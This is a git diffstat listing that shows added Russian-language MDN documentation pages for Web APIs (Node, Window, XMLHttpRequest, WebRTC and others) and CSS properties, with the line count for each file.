files/ru/web/api/node/localname/index.html | 80 + .../ru/web/api/node/lookupnamespaceuri/index.html | 18 + files/ru/web/api/node/lookupprefix/index.html | 16 + files/ru/web/api/node/namespaceuri/index.html | 45 + files/ru/web/api/node/nextsibling/index.html | 83 + files/ru/web/api/node/nodename/index.html | 104 + files/ru/web/api/node/nodeprincipal/index.html | 28 + files/ru/web/api/node/nodetype/index.html | 93 + files/ru/web/api/node/nodevalue/index.html | 86 + files/ru/web/api/node/normalize/index.html | 43 + files/ru/web/api/node/ownerdocument/index.html | 94 + files/ru/web/api/node/parentelement/index.html | 86 + files/ru/web/api/node/parentnode/index.html | 102 + files/ru/web/api/node/prefix/index.html | 90 + files/ru/web/api/node/previoussibling/index.html | 51 + files/ru/web/api/node/removechild/index.html | 76 + files/ru/web/api/node/textcontent/index.html | 123 + files/ru/web/api/nodelist/index.html | 144 + .../ru/web/api/nondocumenttypechildnode/index.html | 132 + .../index.html | 173 + .../previouselementsibling/index.html | 185 + files/ru/web/api/notification/index.html | 378 ++ files/ru/web/api/notifications_api/index.html | 191 + files/ru/web/api/pannernode/index.html | 265 ++ files/ru/web/api/parentnode/append/index.html | 134 + .../api/parentnode/childelementcount/index.html | 122 + files/ru/web/api/parentnode/children/index.html | 143 + .../api/parentnode/firstelementchild/index.html | 149 + files/ru/web/api/parentnode/index.html | 94 + .../web/api/parentnode/lastelementchild/index.html | 161 + files/ru/web/api/parentnode/prepend/index.html | 133 + files/ru/web/api/payment_request_api/index.html | 126 + files/ru/web/api/paymentrequest/index.html | 112 + files/ru/web/api/performance/index.html | 106 + files/ru/web/api/performance/now/index.html | 138 + files/ru/web/api/pointer_events/index.html | 504 +++ files/ru/web/api/pointer_lock_api/index.html | 325 ++ files/ru/web/api/positionoptions/index.html | 105 + files/ru/web/api/presentation/index.html | 107 + files/ru/web/api/push_api/index.html | 186 + .../web/api/push_api/using_the_push_api/index.html | 419 +++ files/ru/web/api/pushmanager/index.html | 115 + files/ru/web/api/pushmanager/subscribe/index.html | 144 + .../api/randomsource/getrandomvalues/index.html | 73 + files/ru/web/api/randomsource/index.html | 110 + files/ru/web/api/range/collapsed/index.html | 104 + .../web/api/range/getboundingclientrect/index.html | 81 + files/ru/web/api/range/index.html | 243 ++ files/ru/web/api/range/surroundcontents/index.html | 113 + files/ru/web/api/renderingcontext/index.html | 40 + files/ru/web/api/request/index.html | 175 + files/ru/web/api/request/mode/index.html | 78 + files/ru/web/api/response/index.html | 159 + files/ru/web/api/response/response/index.html | 81 + .../cantrickleicecandidates/index.html | 91 + .../rtcpeerconnection/connectionstate/index.html | 62 + .../currentlocaldescription/index.html | 76 + .../currentremotedescription/index.html | 72 + .../getdefaulticeservers/index.html | 56 + .../icecandidate_event/index.html | 141 + files/ru/web/api/rtcpeerconnection/index.html | 358 ++ .../rtcpeerconnection/rtcpeerconnection/index.html | 59 + files/ru/web/api/screen/index.html | 91 + files/ru/web/api/screen_capture_api/index.html | 140 + .../using_screen_capture/index.html | 351 ++ files/ru/web/api/selection/getrangeat/index.html | 118 + files/ru/web/api/selection/index.html | 223 ++ files/ru/web/api/selection/tostring/index.html | 66 + files/ru/web/api/server-sent_events/index.html | 72 + .../using_server-sent_events/index.html | 186 + files/ru/web/api/service_worker_api/index.html | 280 ++ .../using_service_workers/index.html | 524 +++ files/ru/web/api/serviceworker/index.html | 105 + .../web/api/serviceworker/onstatechange/index.html | 73 + .../ru/web/api/serviceworker/scripturl/index.html | 46 + files/ru/web/api/serviceworker/state/index.html | 65 + .../serviceworkercontainer/controller/index.html | 55 + files/ru/web/api/serviceworkercontainer/index.html | 165 + .../api/serviceworkercontainer/register/index.html | 140 + .../web/api/serviceworkerregistration/index.html | 145 + .../pushmanager/index.html | 72 + .../shownotification/index.html | 272 ++ .../serviceworkerregistration/update/index.html | 74 + files/ru/web/api/serviceworkerstate/index.html | 46 + files/ru/web/api/sharedworker/index.html | 220 ++ files/ru/web/api/slotable/index.html | 44 + files/ru/web/api/speechgrammar/index.html | 74 + files/ru/web/api/speechrecognition/index.html | 221 ++ .../ru/web/api/speechsynthesisutterance/index.html | 120 + files/ru/web/api/storage/clear/index.html | 121 + files/ru/web/api/storage/getitem/index.html | 131 + files/ru/web/api/storage/index.html | 164 + files/ru/web/api/storage/key/index.html | 128 + files/ru/web/api/storage/length/index.html | 122 + files/ru/web/api/storage/localstorage/index.html | 145 + files/ru/web/api/storage/removeitem/index.html | 70 + files/ru/web/api/storage/setitem/index.html | 130 + files/ru/web/api/storage_access_api/index.html | 93 + .../ru/web/api/storagemanager/estimate/index.html | 78 + files/ru/web/api/storagemanager/index.html | 53 + files/ru/web/api/streams_api/index.html | 141 + files/ru/web/api/stylesheet/disabled/index.html | 54 + files/ru/web/api/stylesheet/index.html | 68 + files/ru/web/api/subtlecrypto/index.html | 122 + files/ru/web/api/svgaelement/index.html | 142 + .../api/svgaelement/svgalement.target/index.html | 106 + files/ru/web/api/svgaelement/target/index.html | 59 + files/ru/web/api/svggraphicselement/index.html | 62 + files/ru/web/api/svgtextcontentelement/index.html | 110 + files/ru/web/api/svgtextelement/index.html | 61 + files/ru/web/api/text/index.html | 112 + files/ru/web/api/touch/index.html | 108 + files/ru/web/api/touch_events/index.html | 337 ++ .../index.html | 63 + .../api/touch_events/using_touch_events/index.html | 154 + files/ru/web/api/touchevent/altkey/index.html | 68 + .../web/api/touchevent/changedtouches/index.html | 133 + files/ru/web/api/touchevent/index.html | 145 + files/ru/web/api/touchevent/touches/index.html | 68 + files/ru/web/api/touchlist/index.html | 63 + files/ru/web/api/url/createobjecturl/index.html | 66 + files/ru/web/api/url/index.html | 119 + files/ru/web/api/url/url/index.html | 121 + files/ru/web/api/urlsearchparams/delete/index.html | 60 + files/ru/web/api/urlsearchparams/index.html | 109 + files/ru/web/api/usb/getdevices/index.html | 63 + files/ru/web/api/usb/index.html | 60 + files/ru/web/api/usb/onconnect/index.html | 43 + files/ru/web/api/usb/ondisconnect/index.html | 43 + files/ru/web/api/usb/requestdevice/index.html | 82 + files/ru/web/api/usvstring/index.html | 40 + files/ru/web/api/vrdisplay/index.html | 129 + .../api/vrdisplay/requestanimationframe/index.html | 122 + .../ru/web/api/vrdisplay/requestpresent/index.html | 112 + .../vrdisplaycapabilities/hasposition/index.html | 50 + files/ru/web/api/vrdisplaycapabilities/index.html | 76 + files/ru/web/api/vrdisplayevent/display/index.html | 49 + files/ru/web/api/vrdisplayevent/index.html | 63 + files/ru/web/api/vrframedata/index.html | 66 + files/ru/web/api/vrpose/index.html | 77 + files/ru/web/api/vrpose/position/index.html | 68 + files/ru/web/api/vrstageparameters/index.html | 80 + .../sittingtostandingtransform/index.html | 52 + .../ru/web/api/vrstageparameters/sizex/index.html | 52 + .../ru/web/api/vrstageparameters/sizey/index.html | 52 + files/ru/web/api/web_animations_api/index.html | 100 + .../using_the_web_animations_api/index.html | 353 ++ files/ru/web/api/web_audio_api/index.html | 508 +++ .../web_audio_api/using_web_audio_api/index.html | 281 ++ .../visualizations_with_web_audio_api/index.html | 183 + files/ru/web/api/web_authentication_api/index.html | 241 ++ .../checking_authenticity_with_password/index.html | 33 + files/ru/web/api/web_crypto_api/index.html | 80 + files/ru/web/api/web_speech_api/index.html | 176 + .../using_the_web_speech_api/index.html | 416 +++ files/ru/web/api/web_storage_api/index.html | 146 + .../using_the_web_storage_api/index.html | 242 ++ .../index.html | 345 ++ files/ru/web/api/web_workers_api/index.html | 223 ++ .../structured_clone_algorithm/index.html | 153 + files/ru/web/api/webfm_api/index.html | 156 + files/ru/web/api/webgl_api/index.html | 106 + .../index.html | 223 ++ .../animating_objects_with_webgl/index.html | 123 + .../tutorial/getting_started_with_webgl/index.html | 104 + files/ru/web/api/webgl_api/tutorial/index.html | 39 + .../tutorial/lighting_in_webgl/index.html | 225 ++ .../index.html | 95 + .../tutorial/using_textures_in_webgl/index.html | 277 ++ .../index.html" | 131 + .../api/webgl_api/webgl_best_practices/index.html | 46 + .../api/webgl_compressed_texture_pvrtc/index.html | 78 + files/ru/web/api/webglprogram/index.html | 98 + .../webglrenderingcontext/activetexture/index.html | 81 + .../webglrenderingcontext/bindbuffer/index.html | 121 + .../webglrenderingcontext/bindtexture/index.html | 110 + .../api/webglrenderingcontext/canvas/index.html | 70 + .../web/api/webglrenderingcontext/clear/index.html | 89 + .../webglrenderingcontext/clearcolor/index.html | 79 + .../webglrenderingcontext/compileshader/index.html | 81 + .../api/webglrenderingcontext/enable/index.html | 139 + .../getshaderinfolog/index.html | 77 + files/ru/web/api/webglrenderingcontext/index.html | 441 +++ .../webglrenderingcontext/shadersource/index.html | 70 + .../api/webglrenderingcontext/uniform/index.html | 99 + files/ru/web/api/webrtc_api/adapter.js/index.html | 42 + files/ru/web/api/webrtc_api/index.html | 195 ++ .../web/api/webrtc_api/session_lifetime/index.html | 90 + .../signaling_and_video_calling/index.html | 665 ++++ .../simple_rtcdatachannel_sample/index.html | 272 ++ .../api/webrtc_api/taking_still_photos/index.html | 222 ++ .../api/webrtc_api/using_data_channels/index.html | 94 + .../ru/web/api/webrtc_api/webrtc_basics/index.html | 350 ++ .../index.html" | 38 + .../index.html" | 70 + files/ru/web/api/websocket/index.html | 281 ++ files/ru/web/api/webvr_api/index.html | 246 ++ .../api/webvr_api/using_the_webvr_api/index.html | 440 +++ files/ru/web/api/webvtt_api/index.html | 905 +++++ files/ru/web/api/webxr_device_api/index.html | 197 ++ files/ru/web/api/window/alert/index.html | 75 + .../web/api/window/beforeunload_event/index.html | 100 + files/ru/web/api/window/blur/index.html | 39 + .../web/api/window/cancelanimationframe/index.html | 65 + files/ru/web/api/window/clearimmediate/index.html | 44 + files/ru/web/api/window/close/index.html | 67 + files/ru/web/api/window/closed/index.html | 59 + files/ru/web/api/window/confirm/index.html | 70 + files/ru/web/api/window/console/index.html | 53 + files/ru/web/api/window/crypto/index.html | 93 + .../api/window/deviceorientation_event/index.html | 171 + .../ru/web/api/window/devicepixelratio/index.html | 46 + files/ru/web/api/window/document/index.html | 63 + files/ru/web/api/window/frameelement/index.html | 95 + files/ru/web/api/window/frames/index.html | 57 + .../api/window/gamepadconnected_event/index.html | 85 + .../window/gamepaddisconnected_event/index.html | 74 + .../ru/web/api/window/getcomputedstyle/index.html | 198 ++ files/ru/web/api/window/getselection/index.html | 142 + .../ru/web/api/window/hashchange_event/index.html | 159 + files/ru/web/api/window/history/index.html | 51 + files/ru/web/api/window/index.html | 457 +++ files/ru/web/api/window/innerheight/index.html | 88 + files/ru/web/api/window/length/index.html | 47 + files/ru/web/api/window/localstorage/index.html | 94 + files/ru/web/api/window/location/index.html | 216 ++ files/ru/web/api/window/matchmedia/index.html | 53 + files/ru/web/api/window/moveby/index.html | 70 + files/ru/web/api/window/moveto/index.html | 73 + .../api/window/mozanimationstarttime/index.html | 46 + files/ru/web/api/window/name/index.html | 29 + files/ru/web/api/window/navigator/index.html | 90 + .../web/api/window/ondeviceorientation/index.html | 53 + .../web/api/window/ongamepadconnected/index.html | 52 + .../api/window/ongamepaddisconnected/index.html | 51 + files/ru/web/api/window/onpaint/index.html | 31 + files/ru/web/api/window/pageyoffset/index.html | 166 + files/ru/web/api/window/parent/index.html | 46 + files/ru/web/api/window/performance/index.html | 48 + files/ru/web/api/window/popstate_event/index.html | 155 + files/ru/web/api/window/postmessage/index.html | 245 ++ files/ru/web/api/window/print/index.html | 46 + files/ru/web/api/window/prompt/index.html | 77 + .../web/api/window/requestidlecallback/index.html | 121 + files/ru/web/api/window/resize_event/index.html | 192 + files/ru/web/api/window/screen/index.html | 46 + files/ru/web/api/window/screenx/index.html | 97 + files/ru/web/api/window/scroll/index.html | 37 + files/ru/web/api/window/scrollby/index.html | 53 + files/ru/web/api/window/scrollbylines/index.html | 46 + files/ru/web/api/window/scrollmaxx/index.html | 39 + files/ru/web/api/window/scrollmaxy/index.html | 42 + files/ru/web/api/window/scrollto/index.html | 50 + files/ru/web/api/window/scrollx/index.html | 156 + files/ru/web/api/window/scrolly/index.html | 77 + files/ru/web/api/window/self/index.html | 66 + files/ru/web/api/window/sessionstorage/index.html | 139 + files/ru/web/api/window/stop/index.html | 45 + files/ru/web/api/window/storage_event/index.html | 82 + files/ru/web/api/window/top/index.html | 99 + .../base64_encoding_and_decoding/index.html | 138 + files/ru/web/api/windowbase64/btoa/index.html | 141 + files/ru/web/api/windowbase64/index.html | 120 + files/ru/web/api/windowclient/index.html | 98 + files/ru/web/api/windoweventhandlers/index.html | 189 + .../windoweventhandlers/onafterprint/index.html | 52 + .../windoweventhandlers/onbeforeunload/index.html | 87 + .../windoweventhandlers/onhashchange/index.html | 158 + .../api/windoweventhandlers/onpopstate/index.html | 63 + .../api/windoweventhandlers/onunload/index.html | 106 + .../api/windoworworkerglobalscope/atob/index.html | 129 + .../windoworworkerglobalscope/caches/index.html | 79 + .../cleartimeout/index.html | 94 + .../api/windoworworkerglobalscope/fetch/index.html | 171 + .../web/api/windoworworkerglobalscope/index.html | 187 + .../setinterval/index.html | 641 ++++ files/ru/web/api/windowtimers/index.html | 119 + .../ru/web/api/windowtimers/settimeout/index.html | 260 ++ files/ru/web/api/worker/index.html | 145 + files/ru/web/api/worker/onmessage/index.html | 124 + files/ru/web/api/worker/postmessage/index.html | 163 + files/ru/web/api/worker/terminate/index.html | 64 + files/ru/web/api/worker/worker/index.html | 89 + .../api/workerglobalscope/importscripts/index.html | 73 + files/ru/web/api/workerglobalscope/index.html | 173 + files/ru/web/api/xmlhttprequest/abort/index.html | 70 + .../xmlhttprequest/getresponseheader/index.html | 118 + files/ru/web/api/xmlhttprequest/index.html | 613 ++++ .../xmlhttprequest/onreadystatechange/index.html | 117 + files/ru/web/api/xmlhttprequest/open/index.html | 66 + .../web/api/xmlhttprequest/readystate/index.html | 153 + .../ru/web/api/xmlhttprequest/response/index.html | 145 + .../web/api/xmlhttprequest/responsetext/index.html | 75 + .../web/api/xmlhttprequest/responsetype/index.html | 137 + .../web/api/xmlhttprequest/responseurl/index.html | 42 + .../web/api/xmlhttprequest/responsexml/index.html | 142 + files/ru/web/api/xmlhttprequest/send/index.html | 291 ++ .../sending_and_receiving_binary_data/index.html | 171 + .../api/xmlhttprequest/setrequestheader/index.html | 110 + files/ru/web/api/xmlhttprequest/status/index.html | 77 + .../web/api/xmlhttprequest/statustext/index.html | 78 + .../index.html | 234 ++ files/ru/web/api/xmlhttprequest/timeout/index.html | 56 + files/ru/web/api/xmlhttprequest/upload/index.html | 116 + .../xmlhttprequest/using_xmlhttprequest/index.html | 743 ++++ .../api/xmlhttprequest/withcredentials/index.html | 104 + .../api/xmlhttprequest/xmlhttprequest/index.html | 58 + files/ru/web/api/xmlserializer/index.html | 108 + .../index.html" | 195 ++ .../index.html" | 52 + files/ru/web/css/--_star_/index.html | 14 + files/ru/web/css/-moz-binding/index.html | 115 + .../css/@counter-style/additive-symbols/index.html | 125 + files/ru/web/css/@counter-style/index.html | 196 ++ files/ru/web/css/@document/index.html | 82 + .../ru/web/css/@font-face/font-display/index.html | 143 + files/ru/web/css/@font-face/font-family/index.html | 67 + files/ru/web/css/@font-face/index.html | 206 ++ files/ru/web/css/@font-feature-values/index.html | 88 + files/ru/web/css/@media/index.html | 384 ++ files/ru/web/css/@media/inverted-colors/index.html | 83 + files/ru/web/css/@media/orientation/index.html | 90 + .../web/css/@media/prefers-color-scheme/index.html | 96 + .../css/@media/prefers-reduced-motion/index.html | 158 + files/ru/web/css/@media/scripting/index.html | 83 + files/ru/web/css/@namespace/index.html | 131 + files/ru/web/css/@page/index.html | 103 + files/ru/web/css/@supports/index.html | 192 + files/ru/web/css/@viewport/index.html | 162 + files/ru/web/css/@viewport/user-zoom/index.html | 105 + files/ru/web/css/_colon_-moz-focusring/index.html | 94 + .../web/css/_colon_-moz-only-whitespace/index.html | 90 + files/ru/web/css/_colon_active/index.html | 120 + files/ru/web/css/_colon_any-link/index.html | 93 + files/ru/web/css/_colon_any/index.html | 189 + files/ru/web/css/_colon_checked/index.html | 232 ++ files/ru/web/css/_colon_default/index.html | 137 + files/ru/web/css/_colon_defined/index.html | 114 + files/ru/web/css/_colon_dir/index.html | 104 + files/ru/web/css/_colon_disabled/index.html | 162 + files/ru/web/css/_colon_empty/index.html | 69 + files/ru/web/css/_colon_enabled/index.html | 136 + files/ru/web/css/_colon_first-child/index.html | 133 + files/ru/web/css/_colon_first-of-type/index.html | 118 + files/ru/web/css/_colon_first/index.html | 102 + files/ru/web/css/_colon_focus-visible/index.html | 126 + files/ru/web/css/_colon_focus-within/index.html | 89 + files/ru/web/css/_colon_focus/index.html | 115 + files/ru/web/css/_colon_fullscreen/index.html | 92 + files/ru/web/css/_colon_has/index.html | 60 + files/ru/web/css/_colon_host()/index.html | 87 + files/ru/web/css/_colon_hover/index.html | 194 ++ files/ru/web/css/_colon_in-range/index.html | 138 + files/ru/web/css/_colon_indeterminate/index.html | 130 + files/ru/web/css/_colon_invalid/index.html | 186 + files/ru/web/css/_colon_is/index.html | 249 ++ files/ru/web/css/_colon_lang/index.html | 100 + files/ru/web/css/_colon_last-child/index.html | 114 + files/ru/web/css/_colon_last-of-type/index.html | 111 + files/ru/web/css/_colon_left/index.html | 72 + files/ru/web/css/_colon_link/index.html | 116 + files/ru/web/css/_colon_not/index.html | 132 + files/ru/web/css/_colon_nth-child/index.html | 184 + files/ru/web/css/_colon_nth-last-child/index.html | 151 + .../ru/web/css/_colon_nth-last-of-type/index.html | 95 + files/ru/web/css/_colon_nth-of-type/index.html | 104 + files/ru/web/css/_colon_only-child/index.html | 107 + files/ru/web/css/_colon_only-of-type/index.html | 85 + files/ru/web/css/_colon_optional/index.html | 110 + files/ru/web/css/_colon_out-of-range/index.html | 140 + .../ru/web/css/_colon_placeholder-shown/index.html | 194 ++ files/ru/web/css/_colon_read-only/index.html | 67 + files/ru/web/css/_colon_read-write/index.html | 67 + files/ru/web/css/_colon_required/index.html | 108 + files/ru/web/css/_colon_right/index.html | 112 + files/ru/web/css/_colon_root/index.html | 101 + files/ru/web/css/_colon_target/index.html | 211 ++ files/ru/web/css/_colon_valid/index.html | 142 + files/ru/web/css/_colon_visited/index.html | 129 + files/ru/web/css/_colon_where/index.html | 157 + .../css/_doublecolon_-moz-progress-bar/index.html | 50 + .../_doublecolon_-webkit-slider-thumb/index.html | 28 + files/ru/web/css/_doublecolon_after/index.html | 177 + files/ru/web/css/_doublecolon_backdrop/index.html | 82 + files/ru/web/css/_doublecolon_before/index.html | 234 ++ files/ru/web/css/_doublecolon_cue/index.html | 76 + .../web/css/_doublecolon_first-letter/index.html | 133 + .../ru/web/css/_doublecolon_first-line/index.html | 118 + .../web/css/_doublecolon_grammar-error/index.html | 86 + files/ru/web/css/_doublecolon_marker/index.html | 93 + .../ru/web/css/_doublecolon_placeholder/index.html | 151 + files/ru/web/css/_doublecolon_selection/index.html | 109 + files/ru/web/css/_doublecolon_slotted/index.html | 106 + .../web/css/adjacent_sibling_combinator/index.html | 130 + files/ru/web/css/align-content/index.html | 287 ++ files/ru/web/css/align-items/index.html | 149 + files/ru/web/css/align-self/index.html | 138 + files/ru/web/css/all/index.html | 153 + files/ru/web/css/angle/index.html | 92 + files/ru/web/css/animation-delay/index.html | 126 + files/ru/web/css/animation-direction/index.html | 191 + files/ru/web/css/animation-duration/index.html | 131 + files/ru/web/css/animation-fill-mode/index.html | 235 ++ .../web/css/animation-iteration-count/index.html | 133 + files/ru/web/css/animation-name/index.html | 133 + files/ru/web/css/animation-play-state/index.html | 130 + .../web/css/animation-timing-function/index.html | 92 + files/ru/web/css/animation/index.html | 118 + files/ru/web/css/appearance/index.html | 2668 ++++++++++++++ files/ru/web/css/at-rule/index.html | 76 + files/ru/web/css/attr()/index.html | 202 ++ files/ru/web/css/attribute_selectors/index.html | 154 + files/ru/web/css/backdrop-filter/index.html | 130 + files/ru/web/css/backface-visibility/index.html | 207 ++ files/ru/web/css/background-attachment/index.html | 223 ++ files/ru/web/css/background-blend-mode/index.html | 145 + files/ru/web/css/background-clip/index.html | 118 + files/ru/web/css/background-color/index.html | 163 + files/ru/web/css/background-image/index.html | 270 ++ files/ru/web/css/background-origin/index.html | 105 + files/ru/web/css/background-position-x/index.html | 100 + files/ru/web/css/background-position/index.html | 178 + files/ru/web/css/background-repeat/index.html | 209 ++ files/ru/web/css/background-size/index.html | 250 ++ files/ru/web/css/background/index.html | 135 + files/ru/web/css/blend-mode/index.html | 411 +++ files/ru/web/css/block-size/index.html | 104 + files/ru/web/css/border-bottom/index.html | 133 + files/ru/web/css/border-image-outset/index.html | 129 + files/ru/web/css/border-image-repeat/index.html | 154 + files/ru/web/css/border-image-slice/index.html | 140 + files/ru/web/css/border-image-source/index.html | 117 + files/ru/web/css/border-image-width/index.html | 168 + files/ru/web/css/border-radius/index.html | 216 ++ files/ru/web/css/border-width/index.html | 193 ++ files/ru/web/css/border/index.html | 118 + files/ru/web/css/bottom/index.html | 162 + files/ru/web/css/box-shadow/index.html | 139 + files/ru/web/css/box-sizing/index.html | 128 + files/ru/web/css/box_model/index.html | 66 + files/ru/web/css/calc()/index.html | 210 ++ files/ru/web/css/cascade/index.html | 154 + files/ru/web/css/child_combinator/index.html | 112 + files/ru/web/css/clamp()/index.html | 108 + files/ru/web/css/class_selectors/index.html | 121 + files/ru/web/css/clear/index.html | 237 ++ files/ru/web/css/clip-path/index.html | 586 ++++ files/ru/web/css/color_value/index.html | 1520 ++++++++ files/ru/web/css/column-count/index.html | 97 + files/ru/web/css/column-fill/index.html | 117 + files/ru/web/css/column-rule-color/index.html | 98 + files/ru/web/css/column-rule-style/index.html | 95 + files/ru/web/css/column-rule/index.html | 120 + files/ru/web/css/column_combinator/index.html | 95 + files/ru/web/css/common_css_questions/index.html | 182 + files/ru/web/css/computed_value/index.html | 55 + files/ru/web/css/containing_block/index.html | 271 ++ files/ru/web/css/content/index.html | 293 ++ .../detecting_css_animation_support/index.html | 91 + files/ru/web/css/css_animations/index.html | 136 + .../ispolzovanie_css_animatciy/index.html | 388 +++ files/ru/web/css/css_animations/tips/index.html | 150 + .../border-image_generator/index.html | 2628 ++++++++++++++ .../index.html" | 1599 +++++++++ .../web/css/css_background_and_borders/index.html | 154 + .../index.html" | 52 + .../ru/web/css/css_basic_user_interface/index.html | 74 + .../index.html" | 120 + .../box_alignment_in_flexbox/index.html | 119 + files/ru/web/css/css_box_alignment/index.html | 245 ++ .../css_box_model/box-shadow_generator/index.html | 2884 +++++++++++++++ files/ru/web/css/css_box_model/index.html | 167 + .../mastering_margin_collapsing/index.html | 90 + .../css/css_colors/color_picker_tool/index.html | 3221 +++++++++++++++++ files/ru/web/css/css_colors/index.html | 116 + files/ru/web/css/css_columns/index.html | 114 + .../backwards_compatibility_of_flexbox/index.html | 112 + .../basic_concepts_of_flexbox/index.html | 228 ++ .../ru/web/css/css_flexible_box_layout/index.html | 124 + .../mastering_wrapping_of_flex_items/index.html | 100 + .../using_css_flexible_boxes/index.html | 378 ++ .../index.html" | 213 ++ .../index.html" | 194 ++ files/ru/web/css/css_flow_layout/index.html | 53 + .../index.html" | 123 + .../index.html" | 85 + files/ru/web/css/css_fonts/index.html | 132 + .../basic_concepts_of_grid_layout/index.html | 724 ++++ .../box_alignment_in_css_grid_layout/index.html | 703 ++++ .../index.html | 498 +++ files/ru/web/css/css_grid_layout/index.html | 234 ++ .../layout_using_named_grid_lines/index.html | 493 +++ .../index.html | 593 ++++ .../relationship_of_grid_layout/index.html | 626 ++++ .../ru/web/css/css_grid_layout/subgrid/index.html | 115 + .../index.html" | 529 +++ .../index.html" | 652 ++++ files/ru/web/css/css_images/index.html | 148 + .../css/css_images/using_css_gradients/index.html | 746 ++++ files/ru/web/css/css_lists_and_counters/index.html | 134 + .../using_css_counters/index.html | 126 + files/ru/web/css/css_positioning/index.html | 115 + .../the_stacking_context/index.html | 283 ++ files/ru/web/css/css_ruby/index.html | 92 + .../css/css_scroll_snap/basic_concepts/index.html | 66 + files/ru/web/css/css_scroll_snap/index.html | 86 + files/ru/web/css/css_table/index.html | 101 + files/ru/web/css/css_transitions/index.html | 120 + .../using_css_transitions/index.html | 1155 ++++++ files/ru/web/css/css_types/index.html | 59 + files/ru/web/css/css_user_interface/index.html | 118 + files/ru/web/css/css_writing_modes/index.html | 62 + .../index.html" | 122 + .../index.html" | 62 + files/ru/web/css/cursor/index.html | 299 ++ files/ru/web/css/custom-ident/index.html | 136 + files/ru/web/css/descendant_combinator/index.html | 115 + files/ru/web/css/direction/index.html | 99 + files/ru/web/css/display-listitem/index.html | 52 + files/ru/web/css/display-outside/index.html | 75 + files/ru/web/css/display/index.html | 218 ++ files/ru/web/css/filter-function/blur()/index.html | 44 + files/ru/web/css/filter-function/index.html | 62 + files/ru/web/css/filter-function/url/index.html | 34 + files/ru/web/css/filter/index.html | 1124 ++++++ files/ru/web/css/flex-basis/index.html | 224 ++ files/ru/web/css/flex-direction/index.html | 149 + files/ru/web/css/flex-flow/index.html | 136 + files/ru/web/css/flex-grow/index.html | 137 + files/ru/web/css/flex-shrink/index.html | 112 + files/ru/web/css/flex-wrap/index.html | 147 + files/ru/web/css/flex/index.html | 201 ++ files/ru/web/css/flex_value/index.html | 49 + files/ru/web/css/float/index.html | 244 ++ files/ru/web/css/font-family/index.html | 233 ++ files/ru/web/css/font-size/index.html | 300 ++ files/ru/web/css/font-style/index.html | 106 + files/ru/web/css/font-variant-ligatures/index.html | 152 + files/ru/web/css/font-variant-numeric/index.html | 151 + files/ru/web/css/font-weight/index.html | 316 ++ files/ru/web/css/font/index.html | 352 ++ files/ru/web/css/gap/index.html | 213 ++ .../web/css/general_sibling_combinator/index.html | 110 + files/ru/web/css/grid-area/index.html | 197 ++ files/ru/web/css/grid-auto-flow/index.html | 207 ++ files/ru/web/css/grid-gap/index.html | 193 ++ files/ru/web/css/grid-row-start/index.html | 230 ++ files/ru/web/css/grid-template-areas/index.html | 185 + files/ru/web/css/grid-template-columns/index.html | 207 ++ files/ru/web/css/grid-template-rows/index.html | 196 ++ files/ru/web/css/grid/index.html | 247 ++ files/ru/web/css/hanging-punctuation/index.html | 117 + files/ru/web/css/height/index.html | 175 + files/ru/web/css/hyphens/index.html | 153 + files/ru/web/css/id_selectors/index.html | 117 + files/ru/web/css/image-set()/index.html | 78 + files/ru/web/css/index.html | 73 + files/ru/web/css/inherit/index.html | 87 + files/ru/web/css/inheritance/index.html | 48 + files/ru/web/css/initial/index.html | 83 + files/ru/web/css/initial_value/index.html | 22 + files/ru/web/css/inline-size/index.html | 100 + files/ru/web/css/inset/index.html | 98 + files/ru/web/css/integer/index.html | 127 + files/ru/web/css/isolation/index.html | 114 + files/ru/web/css/justify-content/index.html | 206 ++ files/ru/web/css/justify-items/index.html | 171 + .../breadcrumb_navigation/index.html | 62 + files/ru/web/css/layout_cookbook/index.html | 67 + .../layout_cookbook/split_navigation/index.html | 48 + .../css/layout_cookbook/sticky_footers/index.html | 70 + files/ru/web/css/letter-spacing/index.html | 129 + files/ru/web/css/line-break/index.html | 68 + files/ru/web/css/line-height/index.html | 170 + files/ru/web/css/linear-gradient()/index.html | 212 ++ files/ru/web/css/list-style-image/index.html | 106 + files/ru/web/css/margin-bottom/index.html | 138 + files/ru/web/css/margin-inline-end/index.html | 98 + files/ru/web/css/margin-inline-start/index.html | 100 + files/ru/web/css/margin-left/index.html | 167 + files/ru/web/css/margin-right/index.html | 160 + files/ru/web/css/margin-top/index.html | 102 + files/ru/web/css/margin/index.html | 246 ++ files/ru/web/css/max-block-size/index.html | 136 + files/ru/web/css/max-height/index.html | 124 + files/ru/web/css/max-width/index.html | 169 + files/ru/web/css/media_queries/index.html | 131 + .../media_queries/using_media_queries/index.html | 120 + .../index.html" | 83 + files/ru/web/css/min-height/index.html | 119 + files/ru/web/css/min-width/index.html | 118 + files/ru/web/css/minmax()/index.html | 191 + files/ru/web/css/mix-blend-mode/index.html | 649 ++++ files/ru/web/css/number/index.html | 139 + files/ru/web/css/object-fit/index.html | 162 + files/ru/web/css/object-position/index.html | 116 + files/ru/web/css/opacity/index.html | 154 + files/ru/web/css/order/index.html | 98 + files/ru/web/css/orphans/index.html | 117 + files/ru/web/css/overflow-block/index.html | 135 + files/ru/web/css/overflow-wrap/index.html | 147 + files/ru/web/css/overflow/index.html | 134 + files/ru/web/css/overscroll-behavior/index.html | 107 + files/ru/web/css/padding-left/index.html | 100 + files/ru/web/css/padding-right/index.html | 134 + files/ru/web/css/padding/index.html | 149 + files/ru/web/css/paged_media/index.html | 22 + files/ru/web/css/paint-order/index.html | 104 + files/ru/web/css/percentage/index.html | 89 + files/ru/web/css/perspective/index.html | 284 ++ files/ru/web/css/pointer-events/index.html | 189 + files/ru/web/css/position/index.html | 327 ++ files/ru/web/css/pseudo-elements/index.html | 102 + files/ru/web/css/radial-gradient()/index.html | 301 ++ files/ru/web/css/ratio/index.html | 89 + files/ru/web/css/reference/index.html | 189 + .../web/css/repeating-linear-gradient()/index.html | 134 + files/ru/web/css/resolved_value/index.html | 37 + files/ru/web/css/revert/index.html | 85 + files/ru/web/css/right/index.html | 141 + files/ru/web/css/ruby-align/index.html | 234 ++ files/ru/web/css/scroll-behavior/index.html | 114 + files/ru/web/css/scroll-snap-type/index.html | 247 ++ files/ru/web/css/selector_list/index.html | 99 + files/ru/web/css/shorthand_properties/index.html | 143 + files/ru/web/css/specificity/index.html | 240 ++ files/ru/web/css/tab-size/index.html | 89 + files/ru/web/css/text-align-last/index.html | 139 + files/ru/web/css/text-align/index.html | 260 ++ files/ru/web/css/text-decoration-skip/index.html | 151 + files/ru/web/css/text-indent/index.html | 212 ++ files/ru/web/css/text-justify/index.html | 115 + files/ru/web/css/text-shadow/index.html | 138 + files/ru/web/css/text-size-adjust/index.html | 165 